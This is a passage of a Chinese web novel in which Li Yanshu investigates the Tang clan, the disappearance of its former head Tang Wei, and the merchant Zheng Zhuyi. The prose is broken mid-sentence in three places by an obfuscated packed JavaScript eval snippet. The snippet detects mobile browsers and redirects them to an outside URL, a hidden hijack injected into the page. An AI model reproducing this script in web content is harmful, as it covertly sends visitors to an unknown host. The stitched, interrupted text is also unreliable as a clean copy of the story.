但无论是因为什么,对一位姑娘用这种手段,其心恶毒可见一斑。 李砚书道:“你既说她是叛徒,又为何不直接杀了她,反而要下毒毁其心智,缚其行动?” 唐华冷笑一声:“你以为我不想。要不是现家主有令,留她性命,我早就手刃了她,为前家主报仇雪恨。” 李砚书道:“素闻前任唐家主贤名,世人称赞其悬壶济世,出尘脱俗。实不相瞒,在下仰慕其良久,只是没想到刚到这雍州,就被告知唐家主失踪,又得知那位姑娘是唐家家主之女,所以才……” 顿了顿,李砚书接道:“刚刚你说到报仇雪恨,莫非这唐家主不是失踪?” 唐华听她这么一说,像是明白了什么,脸上表情瞬间别扭起来,忍着恼意道:“你……你被那姓郑的骗了,前家主他,他不是失踪,而是被那白眼狼捅了一刀后,坠崖而亡。” 饶是做好了心理准备,李砚书也不由得惊住,脱口而出:“坠崖!” 唐华又道:“还有,你别听那姓郑的瞎说,那叛徒才不是前家主的女儿!她是前家主捡来的,是弟子!以后休要辱我唐家家主名声!” 李砚书与骨衣对视一眼,道:“原是如此。骨衣,放开唐华姑娘吧。方才多有得罪,皆是关心唐家主所致,还望唐华姑娘不要怪罪。” 骨衣收回刀,来到李砚书身后。 唐华摸了摸脖子,“嘶”了声,有一道浅浅的划伤,没好气道:“把我鞭子还来。” 李砚书隔空一抛。 唐华伸手接住,状似无意地问了一句:“你鞭子耍得还行,师从何人?” 李砚书刚想顺坡说去唐家祭拜唐微的事,就被唐华这句打断。笑道:“家师面子薄,不允我道出她老人家的名号,嫌丢人,哈哈……” 唐华噎了一下,也歇了继续问的念头。 “既如此,就此别过。” 说完,她转身走向唐易那边。 李砚书顺着望去,见唐易还直愣愣地立在原地,叹道:“说她傻吧,又知道撒迷药自卫。说她聪明吧,自己这边打了这么久也不见她跑。” 就在李砚书翘首以盼,准备看唐易是如何出手的时候,离唐易五步远的唐华从腰间掏出了一个铃铛,对着唐易摇了两下。铃声清脆,就见唐易原本低垂无神的眸子陡然亮了起来,眼睛直勾勾地盯着唐华手中的铃铛,原本垂下的手臂微微向上抬起。 唐易应该是许久未曾喝水,没有丁点血色的嘴唇上起了一层死皮,张嘴说话的时候粘住的嘴皮还会稍微撕扯一下。 “……不苦……不苦……” 虽然唐易的声音很小,但是四下俱静,这两声“不苦”还是被在场的人听清了。 唐华微怔,但手中动作未停,趁人不注意直接一个横劈将人打晕,后面两人赶紧上前将人抱起送到一旁的马车上去。 “唐姑娘。” 李砚书唤了她一声,“请问这不苦,是?” 唐华道:“她,前家主给她取的字。哼,就连她的名字也是前家主取的。却不想此人狼子野心,竟恩将仇报。叫什么唐不苦,直接叫唐不是人更好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521306|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李砚书看了马车一眼,回头道:“名字乃唐家主亲取,不论人怎样,唐姑娘还是口下留情。” 唐华沉默了须臾,讪道:“一时口快。” 李砚书这才道:“唐姑娘,我有个……” 唐华打断她道:“我叫唐华。唐家几乎都姓唐,你一口一个唐姑娘,鬼知道你在叫谁。” “……唐华,我有个不情之请。” 唐华皱眉看着她,犹豫道:“你不会是要……” 李砚书一看有戏,趁热打铁道:“正是。” 唐华有些不敢相信地道:“我看你年岁也不大,怎会……” 李砚书道:“实不相瞒,我六年前曾随家父行商时途径雍州,不料时染恶疾,眼看时日无多,家父都在准备后事了,幸得唐家主相救……前唐家主出手相救,不然你我今日断断不会相遇。就是在那时我暗暗发誓,长大后定要来找唐家主报答救命之恩,却不想刚到雍州就听闻了唐家主失踪一事,砚书心急如焚,万般无奈,故才深夜前来,只为一求究竟。” 唐华见李砚书言语间恳切自然,不似作伪的样子,瞬间有些心疼起她来,叹道:“原来是这样,姑娘知恩图报,有情有义,唐华佩服。既如此,罢了,你们随我来吧。不过我有言在先,祭拜完前家主后,你们还需尽快离开,切不可多留生事。” 李阳书拱手道:“了然。” 因为她们三人多出来,马匹不够,只能李砚书与骨衣共骑一匹,另外两人共骑一匹,而素影不会骑马,因此与昏迷过去的唐易同坐在马车里。 李砚书见那马车要比正常的马车小上一半,猜到是因为要走山路,所以才将马车改小。要不是素影和唐易两人都身量娇小,不然这会儿素影也要出来骑马。 山路远比李砚书想的要危险,像是一条人为踩出来的小道,而且是一直往上走。 大概有半个时辰,李砚书终于看到了唐家的标志。一面黑白纹旗,旗上画着类似药鼎形状的东西,一半黑一半白。这让李砚书想到了《周易》里的太极八卦图。 原以为要到了,结果唐华冷不丁冒出一句:“到山门了。” 山,山门!? 望着好似到不了尽头的山路,李砚书突然有些佩服起唐华她们来。不仅要长途跋涉上山下山,还要抓一个会用迷药的小师妹,难怪唐华一开始脾气那么差,这一趟趟下来上去的,人不发疯才怪! 很快,李砚书就再次肯定了刚才的想法。 因为……下雨了! 一下雨,空气中的雨水似乎就变成了冰刃,深夜的寒风裹挟其中仿佛要将人活活撕裂。 李砚书搂着骨衣的腰,贴着人耳朵大声喊:“骨衣,我们换换!” 骨衣单手策马,一只冰凉的手覆上李砚书的手腕,“小姐不可!现在下雨,马一停会出事儿的!” 离她们最近的一人大声道:“她说的对,这时不可停马。放心,再前面一点就没雨了,再坚持一会儿!” 如此,李砚书只能歇了换位的念头,旋即双手紧紧抱着骨衣,试图以此温暖她一些。 那人说的不错,大概一炷香的功夫后,雨就停了。李砚书这才跟骨衣换了位置,让骨衣靠着她歇会。马车里的素影听见雨声停了,也忙探出头来,“小姐,你们没事吧?” 李砚书扬起马鞭,笑道:“没事儿,放心吧。” 素影提着的心才放下,冲她们一笑,“那就好。” 出了山腰雨路,山路逐渐宽阔平坦。刚开始在雨里跟她们说话的那人策马过来,见状叹道:“你们主仆感情真好。” 李砚书拉上缰绳,笑道:“都是一起长大的,感情自然要好。对了,还没来得及问姑娘芳名。” 那人道:“唐毓,钟灵毓秀的毓。” 唐毓说完,策马而去。 李砚书看着唐毓的策马而去的背影,忍不住道:“唐毓,人如其名,都是些好心肠的姑娘。” 骨衣不解,“小姐何出此言?” 李砚书轻笑一声,“你与她们交手时,感觉如何?” 骨衣思索片刻后,道:“武功虽不及我,但交手时她们并未下杀手。” 李砚书道:“没错。你想想,唐易就算有迷药,但是面对提前服过解药的六人,她又如何能在其手下纠缠良久?” 骨衣抬起头,“那就只能是,故意为之!” 李砚书捏着马绳沉默了一阵。 山道渐平,远处一些建筑渐露尖尖角。但因是在夜间,即使越挨越近也瞧不真切。李砚书朝那个方向一扬下巴,沉声道:“保护好素影。” 说完,策马追上前面唐华等人。 11. 唐家 唐家大门是用两块巨石修葺而成,长约两丈,高约两丈四尺,门口没有石狮子之类的,倒是有两颗长势喜人桃树立于门前,乍一看还以为是以前哪个修仙的洞府门口。 唐华拎着众人进去,三名跟她们穿着一样的弟子迎面走来,作礼道:“二师姐。” “嗯。”唐华还礼。 这边李砚书刚准备向她们示礼,结果那三人跟唐华示礼后就目不斜视地走开了,没有再多说一个字,多分一个眼神给她们。李砚书回头看了一眼,小声问唐华:“你们唐家弟子都如方才那三人一般高冷吗?” 唐华斜了她一眼,“族内规矩森严,不可嬉笑吵闹。” 李砚书“哦”了声,又道:“那你们不会憋得慌吗?” 唐华隐隐不耐道:“不会。” 李砚书做贼似的,小声道:“那万一要是有急事,不小心喊了会怎样?” “……” 唐华额上露出几条黑线,“……不会怎样。” “嗨,那我就放心了。”李砚书恢复成正常音量。她又问:“她们叫你二师姐,那大师姐是谁啊?” 话音刚落,唐华突然停下,对身后的六人道:“你们先带她回去。” “是。” 李砚书见状道:“顺便也带我这两个丫鬟先下去休息吧。” 唐华没说话,在对上唐毓投来的目光时,点了点头。等人走后,她看向李砚书,“砚书小姐……” 李砚书笑嘻嘻打断她,道:“李,木子李,叫我李姑娘就行。” “李姑娘,唐家族规甚多,还请你自约己身,莫要同他人随意玩笑。稍后我会叫人为你们三人准备衣物,祭拜完前家主就请你们速速离开。” 李砚书道:“不是吧?我知道有些大家族规矩会严些,但是我们就是来祭拜一下前家主也要如此小心吗?我怎么听说以前唐家可没这么多规矩。” 唐华神情微紧,“那是前家主在时,现家主……总之,你们一切都要听我的,不然被家主发现,可别说我没提醒过你们。” 李砚书表现出一副求知若渴的样子,连忙追问:“现家主?恕在下孤陋寡闻,这现家主是谁啊?” 唐华闻言左右看看,见四下无人才道:“这你都不知道!现任家主就是我们前家主的弟弟。” 之后李砚书就从唐华的嘴里得知了现任唐家主唐默的一些事。说是这唐默与唐微乃是同胞兄弟,两人长相极其相似,但性格却南辕北辙,两个极端。哥哥唐微自由活泼开朗,讨人喜欢,而弟弟唐默则是阴郁寡言,喜欢独来独往。但两人自小就天赋异禀,各类草药看一眼便就记住。再长大一些,唐微专心研究岐黄之术,治病救人,颇受当地百姓喜欢。唐默则痴迷上了毒理,丹道一类,令族人忌惮不已,自然也就不会向外宣传家主还有个弟弟之事。 后来就是唐微用两年时间闭关,出关后就被唐易刺杀身亡。现家主继位,因其喜静,所以唐家逐渐变得规矩森严起来。 而唐易也因此疯了,整日里不是发呆就是跑下山去食易楼前站着,谁叫都不应。不对,说到这里唐华补充道:“那个叛徒也不是谁都不应,她只应大师姐的话。” 李砚书道:“大师姐?我能见见她吗?” 这话问得好生突兀。 唐华疑由地上下打量她一眼,道:“你这人好生奇怪,怎么对什么事都好奇。还想见大师姐,我都不一定能见到大师姐呢。” 李砚书秉持好奇到底,道:“为何?你不是二师姐吗?怎么都见不到大师姐?” 唐华瞪了李砚书一眼,带着一丝丝的恼意,道:“关你何事!大师姐在替家主护法炼丹呢,不许人去打扰,又岂是你想见就能见的?” 炼丹? 李砚书下意识搭上唐华的肩膀,哄道:“好嘛,不见就不见嘛,怎么还急了呢?” 唐华周身一震,缓缓看向李砚书搭上自己肩膀的那只手,视线缓缓上移,又看向李砚书那双含笑的眸子,整个人像是第一次开口说话那般,结巴道:“你你,你,你做什么?” 说完,猛地从李砚书手中跳开,像极了要战斗的大公鸡,耿直了脖子,道:“说话就说话,勾勾搭搭的,成何体统!” 李砚书无辜地摊着双手,解释道:“不是,对不住啊,我这平时搭习惯了。无意冒犯,真是无意冒犯,再者你想,我们皆是女子,这搭一下也没……事吧。” 平时跟素影她们勾搭惯了,方才一个没注意就原形毕露,差点被人当做了登徒子。她都忘了,唐华从小在唐家长大,虽说之前规矩没有现在多,但肯定也是极重形象仪态的,应从没跟人如此勾肩搭背过,所以才会反应这么大。 唐华哼道:“你要庆幸你是女子,不然我一定砍了你的双手。” 李砚书可不怕她吓唬,没正形道:“是是是,多谢唐华姑娘不砍之恩行了吧。” “哼!” 唐华头朝一边扭去,不想看她。 第一眼见到唐华她就在骂人,李砚书还以为此人是易怒暴躁之辈,没想到接触下来发现竟是只纸老虎,哪怕嘴上天天嚷嚷着要杀了唐易,可要真到下杀手的那天,她却不一定狠得下心。 寅初时分,整座山寂静无声。 回到住处,李砚书三人换上唐毓给她们准备好的衣服,之后便随唐毓前往后山。 下过雨的山路还带着浓厚的雾气,对在山路上的一行人而言无异于雪上加霜。 素影脚下一滑,被身后的骨衣伸手扶住。 李砚书听见动静转身,关心道:“没事吧。” 素影一只手靠着骨衣,稳住身形道:“没事,不小心滑了一下。” 唐毓举着火把也回头看了她们一眼,道:“白日里下过雨,山路不好走,你们都当心脚下。” 李砚书谢道:“多谢唐毓姑娘提醒。” 唐毓朝她颔首,什么也没说,转身继续往前走。 唐微的墓修在大山深处,她们经过了好几任已故家主的墓碑,才终于一座明显新建的墓碑前停下。唐毓举着火把为她们照明,李砚书带着骨衣和素影束手祭拜。 完礼后,李砚书问唐毓,“唐毓姑娘,冒昧问一下,唐微家主的忌辰是何日?” 唐毓道:“九月初五。” 李砚书道:“多谢,如此即便我日后不在雍州,也能每年祭拜唐微家主了。” 唐毓没想到李砚书问她前家主忌辰是要每年都祭拜,神色一下就变得敬佩起来。因为手里还举着火把,只得正色道:“李姑娘知恩图报,重情重义,唐毓感佩。” 李砚书亦正色道:“救命之恩,理应如此。” 唐毓对她们的态度热情了不少,不仅亲自护送她们下山,临别时还送了几包预防伤寒发热的药给她们。 骨衣则有些没弄明白,在路上就忍不住问李砚书,“小姐,我们就这么走了吗?” 李砚书不答反问:“骨衣啊,我问你一个问题。” “小姐请问。” “若是一个你最亲近的长辈离世,你会怎么做呢?” 骨衣沉吟片刻,道:“若是他杀,找出凶手为其报仇;若是自然病故,则为其守孝三年。” 李砚书道:“若两者都不是呢?” 闻言,骨衣明白小姐说的是谁了,但还是不解道:“小姐是在说唐易么?可她不是神志不清了吗?” 这时,素影突然道:“啊!我知道了!” 骨衣朝她看去,“你知道什么了?” 素影道:“方才小姐问你的问题。” 李砚书与素影共骑一马,闻言笑了一下,也不说话,等着她继续说。 素影接道:“小姐问你,若是长辈离世,小辈自然该做到你说的那两点。可唐易情况特殊,故此不能按寻常人的思维去想。试想,一个可以在他县楼前驻足几天几夜的人,为什么不去长辈坟前守孝呢?而且还有一点,不知道你发现没有,其实在我们去之前,就有人提前去祭拜过前唐家主了。” 骨衣惊道:“你怎么知道?莫非……” 素影搂紧了李砚书的腰身,偏头道:“当时光线昏暗,你应该没有注意到,前唐家主的墓前烧过的纸钱并没有被雨水打湿过的痕迹。但唐毓姑娘曾说,白日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521307|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里下过雨。既然下过雨,而灰烬未湿,这就说明,在我们之前祭拜的那人是在雨停后,或者可以说是天黑后才去的。” “不错,素影心细,观察的细致入微,分析得头头是道。”李砚书赞赏道。 素影将脸埋到李砚书背上,羞道:“小姐。” 李砚书放声笑了两声,“继续说吧,骨衣还等着你呢。” 素影抬起头,继续道:“小姐后来问唐毓姑娘唐微家主忌辰是何日时,我才明白过来。现是六月,离忌辰还三月,那人此时祭拜,说明她平日里行动可能受限,只有入夜后才能偷偷前来祭拜前任家主。其实到这里我也没有想到唐易身上,毕竟她那会正跟我们在一起呢。” 骨衣依旧不解,道:“那此事跟唐易又有什么联系?” 素影道:“你想啊,一个不知是谁的门内弟子都要深夜前来祭拜唐微家主,而唐易身为其女……亲传弟子,又为何要日日往外跑,而不是去墓前守孝?且不说她身体有恙,正是此女特殊情况,偏执程度,若是唐家主真的在墓里,她又怎会不守在墓前。” 都说赤子之心难得,可也正是因为赤子想法纯真,行事坦荡,所以他们的行事风格往往不为世人所解,常常引来讥讽和无视。 骨衣惊道:“你是说唐微没死?” 素影摇头,“不知道。但这其中定有古怪。” 骨衣皱眉道:“若是如此,那这唐家的人为何说是唐易杀了唐微?” 李砚书道:“这个就要去问问那位引我们上钩的郑员外了。” 从一开始郑诸义就在引导着她们往唐易身上看,先是爆出其家主之女的身份,再到唐微失踪,看似不想让她们插手,实则又在步步勾引。 卯时正刻,食易楼里的小厮掐着点开门,揣着笤帚闭眼朝天打了一个长长的哈欠,随后开始闭着眼扫地。 素影趁李砚书跟骨衣去栓马的空隙,去隔壁包子铺买了几个包子回来,嘴里嘟囔着:“这雍州的包子也太小了吧,渭阳一个包子都可以顶他两个包子了!” 骨衣从怀里掏出手帕给李砚书擦手,看了一眼素影手里的包子,忍不住道:“好小的包子。” 素影递了两个给骨衣,又递了一个给李砚书,“嗯,不仅小,还贵!一文一个!” 李砚书咬一口,中肯道:“味道还行,毕竟是在雍州,贵些也正常,就当尝个鲜了。” “啊?”素影为难道,“那元安的东西岂不是更贵?” 李砚书笑道:“贵怎么了,还怕小姐养不起你?” 素影咽下嘴里的包子,摇头道:“那自然是不怕的。” “还有吗?这包子也太小了,吃了跟没吃一样。” 骨衣吃完两个包子,感觉跟没吃似的。 “还有。”素影连忙从纸袋里拿出两个给她,“若是元安的包子也这么小,还这么贵的话,可不能日日去买。” “还是你做的好吃。”骨衣接道。 素影抿唇笑了,“那到元安后我就做给你吃,还有小姐。” 李砚书又吃了一个,道:“好。等到元安了,家里的钱都给你管,这些事都你做主。” 早晨的阳光探出头,三人因为一夜未睡又一下被这晨光扫来,刺得三人都下意识举手搭在眉梢,眼睛都睁不开。 困意突然袭来,素影顿时觉得手里一文钱一个的包子都不香了,不受控制地打了个哈切。 李砚书紧随其后也跟着打了个哈切。 骨衣倒是胃口不减,仍旧大口大口地吃着包子。 李砚书走到素影右侧,用空闲的那只手牵住她,对骨衣道:“到官驿后你先带素影去休息。” 骨衣点头,旋即想到什么,不放心道:“小姐是要一人去郑府吗?会不会……” 李砚书偏向她,轻声道:“放心。” 骨衣唇抿紧,看了昏昏欲睡的素影一眼,才点了点头。 等她们到回到官驿时,窦庑独坐中堂,见李砚书等人进来,他起身道:“昨夜李小姐突然失踪,我等唯恐李小姐遇险,便连夜派人到元安禀报,请求增派人手找寻小姐。” 12. 韩良 李砚书对骨衣示意,等人离开后才对窦庑从容道:“哦,有劳窦校尉。” 窦庑没等到意料中的回答,又看到她身上的衣服,道:“这衣服?” 李砚书给自己到了杯茶,不假思索地道:“唐家姑娘所赠。” 窦庑眉眼一顿,道:“唐家!李小姐昨夜去了唐家?” 许是太早了,茶水早已凉透。李砚书吃了口冷茶,反倒觉得清醒了些,道:“是啊。窦校尉既然叫了人来,那就容我先去梳洗一番。” 在窦庑的以为里,李砚书不是应该在他说出派人到元安时就方寸大乱才对。就算勉强维持住体面,也绝对不会是现在这般云淡风轻,她难道一点都不担心自己的名声吗?她还明晃晃地穿着唐家的衣服招摇过市,毫不隐瞒自己昨夜去了哪里,这跟一个月里他观察到的李晗截然不同。 晨光照廊下,耀得人眼花。 李砚书离去的背影很快消失在阳光下,刹那间,窦庑突然想起五年前在甘州见到的那个背影。明明是迥然不同的两个人,可莫名就让他联想到一起。李阿鼎连年征战,正面盯着一个人看的时候,会让人迫于其如山般的威势难以喘气,但窦庑那次从背后瞻仰那位战功赫赫的异姓王时,却觉得他的背后仿佛也长出了一双如虎般的眼睛,强大到即使是一个背影也足以令人——望而生畏。 一个时辰后,驿卒在门外请人。 “李小姐,从元安来的大人们到了。” 素影替李砚书梳洗收拾好,闻声担忧道:“小姐,你还是带我们一起去吧。” 李砚书拉着她来到塌边,“放心吧,等你们睡醒小姐就回来了。” 骨衣抱着刀来到她们身后,还没来得及说话就被李砚书抢先道:“你也留下。” 门外等候的人见里面没动静,以为是没听见,欲再通报一声。一口气刚提起,门就被人从里面打开了。 李砚书身上还是那身唐家的衣服,只是头上的发髻换了,不同于之前的复杂发髻,这次要简单许多。头上仅仅是用一根墨绿的玉簪定住,从背面看,不知情的还以为是唐家哪个不知名弟子下山了。 一路上李砚书都在猜来的人会是谁。 能在这么快的时间内赶来,不是他爹的人就是窦庑背后的人,两种情况,她自然更偏向前者,这样可以为她省去很多麻烦。 平日里八百年难得来一回人的驿馆,这次直接挤满了人,而且还都是从元安来的有品阶的大官儿,领头的那人更是官至四品,宣威将军——韩良。 堂中左右的座上已经坐满了人,堂下站着的个个刀不离手,两相对立,仿佛下一秒就会刀剑相向。 两个驿卒战战兢兢地提着热茶挨个往他们桌上的杯里添,韩良跟窦庑立于堂前,他们之间没有言语,隐隐有种泵发的压抑气流在两人周身盘旋。气压低得厉害,驿卒哪敢在他们这些大人物之间找存在感。添完茶离开的时候都要绕开默默绕开这两人,生怕神仙打架,殃及到他们身上。 门外观望的驿卒叫苦不迭,在心里疯狂祈祷那位李小姐能快点到,不然里面的人要是打起来,他可怎么办啊! 所幸李砚书没叫他们多等。 不一会儿,她便在一众驿卒的注视下步入堂中。 见到她,以韩良为首,堂中坐着的那些人齐刷刷起身,朝她拱手道:“末将见过小姐!” 见到韩良的那一刻,李砚书瞬间松了口气。 韩良,甘州人。十三岁就跟着李阿鼎上了战场,后来更是在著名的金川霞关岭一战中以一敌百,单刀冲破敌方几百号人的重重包围。故,后人又称韩一刀。 李砚书连忙上前,施礼道:“一别数年,韩叔一切可好?” 韩良点头道:“劳小姐记挂,末将一切都好。只是小姐如何了?” 李砚书道:“我没事,都是误会,叫你们担心了。” 他们正说着,窦庑上前来,面上客气道:“李小姐可算是来了,你要是再不来,宣威将军就要跟在下兴师问罪了。” 韩良看也不看窦庑,对李砚书道:“小姐无事就好,王爷听闻小姐失踪很是担心,故特命我前来找寻小姐。既然小姐无恙,还是早日启程赶往元安,王爷跟公子都很挂念小姐。” 李砚书道:“韩叔,我们可能要在这里多停留一日,其间缘由,我在路上与你说,现在还要劳烦您带人跟我去一个地方。” 听她这么说,韩良面上不动,抱手道:“小姐吩咐就是,我等莫敢不从。” 他话音刚落,他身后众人就齐齐道:“但凭小姐吩咐!” 李砚书对他们颔首一礼。 窦庑心下百转,还是开口道:“陛下既派我等护送小姐回朝,自然是要跟随小姐左右。不知小姐是要去哪?” 李砚书简单直接道:“郑府。” “郑府!”窦庑不可置信地道,“小姐说的可是郑诸义郑员外家?” 李砚书道:“正是。” “那小姐可知郑诸义乃是荥阳郑氏之人,小姐这般带人过去,怕是会……” 点到即止,一般人听到这也该听出其中的厉害了。可李砚书是谁,她长这么大,除了夫子留下的那把戒尺,她就没有再怕过什么。 李砚书朗声道:“怕什么,本小姐又不是不讲理之人。素闻郑员外大名,只是去拜访一下罢了。” 说罢,她带着几十号人浩浩荡荡地跨门而去。 候在门口的驿卒见状连忙避开,有些胆小的头都快埋到地里去了。但也不乏一些胆大的,伸着脖子张望,李砚书一眼看去,对那人挥手。 那人见着有些不敢置信,手指指向自己。李砚书下阶,那人又惊又怕地过去,忙不迭拱手道:“小姐有何吩咐?” 李砚书道:“劳烦带个路,去郑府。” 那人连忙摆手,激动道:“不敢不敢,小的这就为小姐和各位大人带路。” 路上李砚书将这两天发生事跟韩良简单说了一遍,韩良听完,第一句话就抓住了她们从未注意到的地方,他一针见血道:“唐家现任家主唐默嫌疑最大。” 李砚书愣了一下,旋即反应过来,整条故事线开始清晰起来。 唐微无论是失踪还是死亡,最后的受益人不是郑诸义,而是他的亲弟弟——唐默。而郑诸义这个引子,从一开始就误导了她们。从主动爆出唐易身世,继而说到唐微失踪,而这些密辛原本他都是可以搪塞过去的,可他却说了。作为唐微挚友,究竟是什么原因,让他不惜诋毁身后人之名,也要引她们这些不确定会不会上钩的人入局? 李砚书暂时还想不到。 韩良却敏锐地嗅到了什么,只是那些线头太过杂乱缥缈,飘过去就再也抓不住。这让他莫名有些不安,他难得劝人,道:“小姐,此事有古怪。” 李砚书不置可否,视线一转,道:“哎?韩叔,您的刀呢?我记着您不是刀从不离手么?” 韩良眉间陡然一冷,道:“在元安呢。王爷不让我带来,怕我举刀吓到那些阉人。” 阉人自然指的是随圣旨一道而来的那些人。只是听韩良的语气,像是把窦庑也算进去了。 李砚书往后看了一眼,发现韩良带来的那些人将窦庑他们远远隔在后面。泾渭过于分明,这让她有些不解。再者,无论窦庑为人怎样,他们之间有何恩怨,窦庑都是随旨之人,就算韩良再不喜欢他,也没必要做得这般难看。 “韩叔似乎特别讨厌窦校尉,是何缘故?”李砚书问道。 韩良负在身后的手不自觉握紧,沉声道:“小姐可知前不久溱溪郡太守带人沿街跪迎王爷之事?” “知道。”李砚书忍不住问,“此事与窦庑有干系?” “他哪有那本事。”韩良冷哼,“背后操控此事的,是他的主子——三皇子。” 李砚书一怔,旋即看向韩良,“三皇子?为何?” 武明帝膝下至今共有五子四女,除去五皇子,六公主早夭,剩下的皇子公主皆长大成人,最小的九公主去年也满了十岁。况且武明帝正当壮年,就算皇子中要争一争,也该是拉拢有力帮手为己所用,断没有用这么蠢的方法去陷害一位王爷,还是一位刚打了胜战的王爷。 韩良站住脚步,“溱溪郡太守何以贤是已故三皇子妃的母家。” 武明十一年二月,三皇子妃何珍死于难产,宫里嫌这事晦气,便草草将她安葬。时隔五年,就在所有人都忘了这个人的时候,她的父亲居然干了这么一件大事。 不过,也有人存疑。说是那何王妃已故多年,这何以贤早与三皇子没了往来,怎么证明这件事就一定是三皇子指使的呢?说不定就是何以贤自己崇拜王爷,想跪迎凯旋的王爷呢。 李砚书对元安皇子的事无甚了解,只听师父提过几句。除去一个九公主,其余皇子公主均以成年。但太子的人选却迟迟未定,这就导致三位势均力敌的皇子如同笼中幼虎,自保也成了杀戮。而三位公主中却只有一位引人注目,四公主武霜,自出生起就得武明帝亲赐封号——无双。无双公主不仅是三位公主中唯一一个拥有封号的,更是自小养在皇后膝下,且她及笄三年都未曾婚配,只因武明帝金口玉言许她挑选自己心仪的男子。 正如她师父所说,能在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李砚书收回目光。 寂静片刻,韩良道:“害,我说这些作甚,平白叫小姐伤怀。” 李砚书摇了摇头,宽慰道:“韩叔莫要这么说。韩叔知道越王勾践的故事吗?有志者事竟成,卧薪尝胆,厚积薄发,终有一日,您还能沙场点兵!” 韩良点头,“借小姐吉言。若是真有那么一日……就算是战死,我也甘愿。” 见过祁连山弯月的人,心里也有了故乡。 最后那句韩良说的极小声,李砚书没有听清,还不等她问,就被郑府门童的声音打断。 门童是极有眼色的,见到她们一众人气势汹汹地过来,十米开外就笑脸相迎。很快,郑诸义就带着下人迎面走来,拱手笑道:“李小姐和诸位大人光临鄙府,郑某人真是受宠若惊,不甚欣喜啊!诸位这边请,郑某已经命人备下薄酒,为诸位大人接风洗尘。” 说罢,郑诸义看向李砚书,怔了一瞬,旋即做出一个请的手势。 李砚书一干人被迎入席间,三两下的功夫席间就歌舞升平,只是“客人”似乎过于严肃,莫名有些糟蹋了这样好的席面。 郑诸义恍若未闻,在一派喧华里端坐主位。 此时,一个模样姣好的侍女跪坐于李砚书身侧,为她斟满酒。 李砚书看她一眼,笑道:“多谢。” 侍女受宠若惊地低下头。 李砚书顺势举起那杯酒,对郑诸义道:“郑员外盛情款待,李晗在此谢过。” 郑诸义举杯道:“李小姐客气。” 说罢,两人饮尽手中酒。 韩良与窦庑等人则共同举杯,如此,这场诡异华诞的宴会才算是正式开始。 酒杯一空,侍女立即满上。 李砚书再次举杯,道:“听闻郑员外府上有一件自旧朝时就留下的霓裳羽衣,不知今日李晗是否有幸,能一睹芳容?” 郑诸义放下酒杯,道:“李小姐不仅消息灵通,话也讲得漂亮,既如此,我也就不瞒着李小姐了,羽衣就在后院,李小姐请。” 韩良坐在一侧,闻言就要陪李砚书一同前往。 李砚书朝他微微摇头,看向窦庑那边。 韩良意会,道:“小姐尽管去,末将在此处等候小姐回来。” 郑诸义笑道:“各位大人吃好喝好,待我陪李小姐看完羽衣回来,定陪各位痛饮一番。” 李砚书和郑诸义走后,窦庑起身跟上,却被韩良叫住,“窦校尉要去哪,这酒都还没喝呢,莫不是还念着先前在驿站里的不愉快?” 窦庑只好停下,拱手道:“卑职不敢,只是……” 话音未落,韩良就端着酒壶过来了,道:“那就好,来来来,先前是本将莽撞,喝了这杯酒事情过去了!” 窦庑心里门清,可他不能显露出来,只能硬着头皮喝下韩良递过来的这杯酒。 一杯酒刚下肚,另一杯酒就又递了过来。 窦庑抬眼一看,奉车都尉宋承。 13. 唐微 院中,李砚书一进来就眼前的景象勾得多看了几眼。 一盆盆开着白色小花的矮植被整齐地摆在阶上,比起大红大紫的花儿们,倒是清雅别致。 只是这样,终究是“风雅”得有些过头,丝毫不像是富甲一方的府邸后院该有的样子。 “此花唤作六月雪,因白色花朵小而密,风起时,似雪花飘零,故而得名。”郑诸义解完惑,轻手扶了扶手边那盆有些斜出的花,“李小姐若是喜欢,挑几盆看得上眼的带走就是。” 顺着郑诸义的动作看去,李砚书留心,才发现其实装花的花盆才是重点。她要是没看走眼的话,这些花盆全都是由上好的整块玉石雕砌而成,上面还有各种图腾文字,而这还不是最令人咂舌的。最令人咂舌的是,这些样式精良,还刻有图腾文字的花盆用料似乎都是上好的玉石。 李砚书又凑近了看,发现果真如她所想,不仅花盆全是玉石做成,甚至连玉石材料都不一样。她虽说不上全部认得,可是这里面的绿松石、桃花玉、商洛翠玉、丁香紫玉等,她却是不可能认错。这里面随便一样都是令人哄抢的宝玉,可这郑府却用来做花盆! 一眼望去,这一庭院的玉石花盆,至少不下百个。 李砚书收回之前的话。 她道:“郑员外客气,只是无功不受禄,这般……美的花,叫我怎么敢据为己有。” 郑诸义蹲下去,却道:“李小姐怎知是据为己有,而不是天意呢?” 李砚书面不改色,道:“愿闻其详。” 郑诸义拔了一株野草,道:“此花产于苏杭,潮州等南方一带,郑某也是花了大力气才将它们移了过来。它们因经历拔根之祸,曾一度枯萎。好几次我以为没救了,可能是命不该绝,一场春雨过后,它们竟又奇迹般地活了过来。” 说到这,郑诸义站起身,看向李砚书,道:“这难道不是天意吗?” 丫鬟递上干净的帕子。 李砚书微微愕然,道:“郑员外是想说,从您将它们移栽回来,枯萎,春雨,再到我今日过来瞧见这满园春色,皆是天意?” 郑诸义不置可否。 